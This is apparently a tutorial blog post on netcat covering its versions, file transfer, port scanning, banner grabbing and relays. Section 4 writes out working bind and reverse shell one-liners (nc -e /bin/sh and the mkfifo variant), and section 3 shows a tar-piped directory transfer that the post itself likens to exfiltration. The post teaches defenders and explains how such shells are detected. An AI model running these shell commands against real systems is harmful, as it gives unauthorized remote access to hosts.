Netcat: The Swiss Army Knife of TCP/IP, A Deep Dive
Netcat has been called “the TCP/IP Swiss Army knife” for thirty years, and the nickname has aged better than most in this industry. It reads and writes raw TCP and UDP sockets and treats them exactly like a file — stdin in, stdout out — which sounds trivial until you realize how much of security testing and network debugging is just “get bytes from A to B and see what happens.” This post is a practitioner’s tour: history, mechanics, file transfer, port scanning, shells, and the genuinely unhinged things you can build by chaining it to itself. Every command is shown for both the OpenBSD variant (nc, the default on Debian/Ubuntu via the netcat-openbsd package) and the traditional/GNU variant (ncat from Nmap, or netcat-traditional), because the two forks disagree on flags in ways that will waste your afternoon if you don’t know which one you’re holding.
Lab-only note up front: bind shells, reverse shells, and the firewall-evasion examples below are for systems you own or are explicitly authorized to test. Running these against anything else is a computer crime in most jurisdictions.
1. Brief History & Versions
Netcat was written in 1995 by a pseudonymous author going by Hobbit, released as a small, single-purpose C utility with a design philosophy lifted straight from Unix orthodoxy: do one thing (move bytes over a socket), do it without opinions about what those bytes mean, and let it compose with everything else via pipes. The original release (and the GNU netcat fork that carried it forward through the 2000s) shipped a flag that made it infamous:
# Original/GNU netcat — the -e flag executes a program and wires its
# stdin/stdout/stderr directly to the socket
nc -e /bin/sh 10.0.0.5 4444
That single flag turns netcat into a one-line shell-over-the-network tool, which is exactly why most Linux distributions stopped shipping it. -e has no legitimate use outside a lab or an authorized red-team engagement, and its presence in the traditional build turns “install netcat” into “install a pre-built backdoor primitive.” Debian and Ubuntu now default to the OpenBSD rewrite, developed for OpenBSD’s tools-should-be-boring philosophy, which deliberately removed -e. If you type nc -e ... on a stock Ubuntu box today, you get:
nc: invalid option -- 'e'
That’s not a bug — it’s the whole point of the fork. Later in this post we’ll cover the standard workaround (named pipes) for reverse shells on -e-less systems, because the capability didn’t disappear, it just stopped being one flag away.
Practical version-checking, since scripts written for one fork silently misbehave on the other:
# OpenBSD variant
nc -h 2>&1 | head -1
# usually: OpenBSD netcat (Debian patchlevel ...)
# Traditional/GNU variant (if netcat-traditional is installed)
nc.traditional -h 2>&1 | head -1
# Nmap's ncat is a third option, feature-rich, SSL-capable, and -e is
# present but must be explicitly compiled in / allowed
ncat --version
On Debian/Ubuntu, update-alternatives --list nc will tell you which binary /usr/bin/nc currently points at — worth checking before you copy-paste a shell one-liner from a random blog post (including this one).
2. Core Mechanics
Netcat’s entire trick is treating a socket like a file descriptor pair: whatever you type goes out the socket, whatever arrives on the socket gets printed to your terminal. No protocol awareness, no framing, no interpretation — that’s your job, which is exactly why it composes so well with everything else on the command line.
Listener (server side):
# OpenBSD variant
nc -l 4444
# OpenBSD nc infers listen mode from -l and does not take a port
# argument after -l on some builds — pass the port as the final arg
nc -l -p 4444 # -p is accepted for compatibility on Debian's build
# Traditional/GNU variant
nc -l -p 4444
Client (connect side):
# Identical syntax on both variants
nc 10.0.0.5 4444
Once connected, anything typed on either end appears on the other. Kill either process (Ctrl-C, or the peer closing the socket) and the pipe collapses — there’s no reconnect logic, no keepalive by default, which is deliberate: netcat is a primitive, not a protocol implementation.
Useful baseline flags, consistent across both forks:
nc -v 10.0.0.5 4444 # verbose — connection status to stderr
nc -n 10.0.0.5 4444 # skip DNS resolution (numeric only, faster, quieter)
nc -w 5 10.0.0.5 4444 # OpenBSD: connect/idle timeout in seconds
nc -u 10.0.0.5 4444 # switch to UDP (both variants)
3. Data Transfer & Port Scanning
File transfer
Because netcat has no protocol overhead, piping a file (or a whole directory as a tarball) through it is close to wire-speed, with zero encryption and zero authentication — fine for a trusted lab segment, never for anything crossing a network you don’t control.
Receiver:
# OpenBSD variant
nc -l 4444 > incoming.tar.gz
# Traditional/GNU variant
nc -l -p 4444 > incoming.tar.gz
Sender — single file:
# Both variants
nc 10.0.0.5 4444 < outgoing.tar.gz
Sender — whole directory, streamed as a tarball (no temp file):
# Both variants — tar to stdout, pipe straight into nc
tar czf - /var/log/myapp | nc 10.0.0.5 4444
Receiver side for the directory transfer, unpacking on the fly:
nc -l 4444 | tar xzf -
That last pair is the classic “I need this 4 GB of logs off an air-gapped box and I don’t have scp” move — and it’s also exactly the pattern a firewall admin should be watching for on an egress rule, because it looks identical to exfiltration.
Port scanning
-z (zero-I/O mode — connect and immediately close, sending no data) combined with -v turns netcat into a crude but genuinely useful scanner when nmap isn’t available or is blocked:
# OpenBSD variant — TCP scan of a range
nc -zv 10.0.0.5 20-25
# OpenBSD variant — UDP scan (much less reliable — see note below)
nc -zvu 10.0.0.5 53
# Traditional/GNU variant — same flags, same semantics
nc -zv 10.0.0.5 20-25
nc -zvu 10.0.0.5 53
Sample output on OpenBSD nc:
Connection to 10.0.0.5 22 port [tcp/ssh] succeeded!
nc: connect to 10.0.0.5 port 23 (tcp) failed: Connection refused
UDP scanning with netcat is worth a caveat: UDP has no handshake, so “no ICMP port-unreachable came back within the timeout” gets reported as open, which is frequently wrong — a stateful firewall silently dropping the probe looks identical to an open UDP service. Treat netcat UDP scans as a hint, not a verdict; corroborate with nmap -sU or an actual protocol probe before you write it in a report.
4. The “Shell Shovel” — Bind vs Reverse
This is the section that gets netcat banned from most enterprise gold images, and understanding why the two shell types look so different to a defender is the actual lesson here.
Bind shell — the target listens, you connect to it
Target (victim) machine:
# Traditional/GNU netcat — -e wires the shell straight to the socket
nc -l -p 4444 -e /bin/sh
Attacker machine:
# Either variant
nc 10.0.0.5 4444
Architecturally: the compromised host opens a listening socket and waits. You connect inbound to it. This is simple, but it’s also why bind shells die fast against any real perimeter — a listener bound to a high port on an internal host is exactly what egress-agnostic firewalls, host-based IDS, and even a basic nmap sweep of the internal range are built to catch. Inbound connections from the internet to an arbitrary internal port are also the single most commonly denied rule in any sane firewall policy, so a bind shell frequently doesn’t even survive the trip past the edge.
Reverse shell — the target connects out, you listen
Attacker machine (listener):
# Either variant
nc -l -p 4444
Target (victim) machine — initiates the outbound connection:
# Traditional/GNU netcat
nc 10.0.0.5 4444 -e /bin/sh
Architecturally inverted: the compromised host makes an outbound connection to you, and you catch it with a listener. This is the far more common real-world pattern because outbound traffic — especially on common ports like 443 or 53 — is what most firewall and proxy policies are laxest about. Defenders catch reverse shells not at the perimeter but through egress monitoring: unexpected outbound connections from a server that has no business talking to the internet, unusual destination ASNs, JA3/TLS fingerprint mismatches on port 443 traffic that isn’t actually TLS, or plain old process-to-socket correlation via EDR (sh or bash holding an established TCP socket is a five-alarm fire in any decent detection stack). This is the exact blind spot the tcpdump deep dive and nftables posts on this site are aimed at closing — egress filtering and packet-level visibility are what actually stop this, not port-blocking alone.
The -e-less workaround: named pipes (mkfifo)
OpenBSD netcat has no -e, which is the correct security default — but the underlying capability (wire a socket to a shell) doesn’t require it. A named pipe plus a redirect reconstructs the same primitive using nothing but mkfifo and standard shell redirection:
# Reverse shell using OpenBSD nc (no -e required) — run on the target
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.5 4444 > /tmp/f
How it works, since this trips people up: /tmp/f is a named pipe, not a real file. cat /tmp/f feeds whatever’s written to the pipe into /bin/sh -i’s stdin. The shell’s stdout and stderr (2>&1) are piped into nc, which sends them to the listener. Whatever the attacker types back comes down the netcat connection and gets written into /tmp/f via the > /tmp/f redirect at the end — closing the loop back into cat. It’s the same three-way plumbing -e did in one flag, built from parts every POSIX shell ships with, which is exactly why banning -e raises the bar without actually closing the door — a defender relying on “we don’t have GNU netcat installed” as a control has a false sense of security.
Bind shell equivalent with mkfifo (target listens, no -e):
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 4444 > /tmp/f
5. Advanced Lunacy
HTTP banner grabber
Raw HTTP is just text over a socket, which means netcat can speak just enough of it to fingerprint a web server without a browser in the way:
# Both variants — send a manual HEAD request, read the response headers
printf 'HEAD / HTTP/1.0\r\nHost: 10.0.0.5\r\n\r\n' | nc 10.0.0.5 80
Typical output:
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Tue, 14 Jul 2026 09:12:03 GMT
Content-Type: text/html
That Server: header is the whole game for a first-pass recon pass — version-fingerprinting a web stack before you decide which CVEs are even worth checking.
One-line mock HTTP server
Turn the trick around and netcat can serve a single canned HTTP response — handy for testing a client’s request behavior, a webhook receiver stub, or confirming a firewall rule actually reaches an application port and not just the TCP layer:
# OpenBSD variant
while true; do
printf 'HTTP/1.1 200 OK\r\nContent-Length: 13\r\n\r\nHello, world!' | nc -l 8080
done
# Traditional/GNU variant
while true; do
printf 'HTTP/1.1 200 OK\r\nContent-Length: 13\r\n\r\nHello, world!' | nc -l -p 8080
done
The while true wrapper is required because netcat exits after the peer disconnects — it has no concept of “keep serving,” so anything resembling a real mock server needs the shell loop (or -k/--keep-open on builds that support it) around it.
Chaining two netcats into a relay
A relay forwards traffic between two endpoints through a middle hop — the same architecture as a jump box, useful for reaching a host that can only see your relay box, or for testing whether a firewall segments traffic the way its ruleset claims to. The classic construction uses a named pipe as the crossover between two netcat processes:
# On the relay host — forwards anything arriving on 8080 to 10.0.0.5:80
rm -f /tmp/relay
mkfifo /tmp/relay
nc -l 8080 < /tmp/relay | nc 10.0.0.5 80 > /tmp/relay
Traffic hitting the relay’s port 8080 flows into the second nc, which forwards it to 10.0.0.5:80; the response flows back through /tmp/relay to whoever’s connected on 8080. This is a genuinely useful firewall-testing pattern: if a policy is supposed to block a client from reaching a server directly but allow it through a designated jump host, standing up this relay and confirming the direct path fails while the relayed path succeeds is a fast, dependency-free way to validate the rule — no need to install socat or spin up a full proxy just to prove a segmentation boundary actually segments.
Where this fits
Netcat earns the Swiss-army-knife name because every section above is the same primitive — stdin/stdout wired to a socket — pointed at a different problem. That’s also exactly why it’s worth understanding as a defender: every “creative” use case here (file transfer, scanning, shells, relays) looks, at the packet level, like nothing more than a TCP or UDP connection with an unremarkable payload. Catching it means watching behavior — unexpected listeners, outbound connections from hosts that shouldn’t have them, process-to-socket correlation — not looking for a signature. If you’re building that visibility on Linux, the tcpdump deep dive and iptables-to-nftables migration posts on this site are the natural next stops.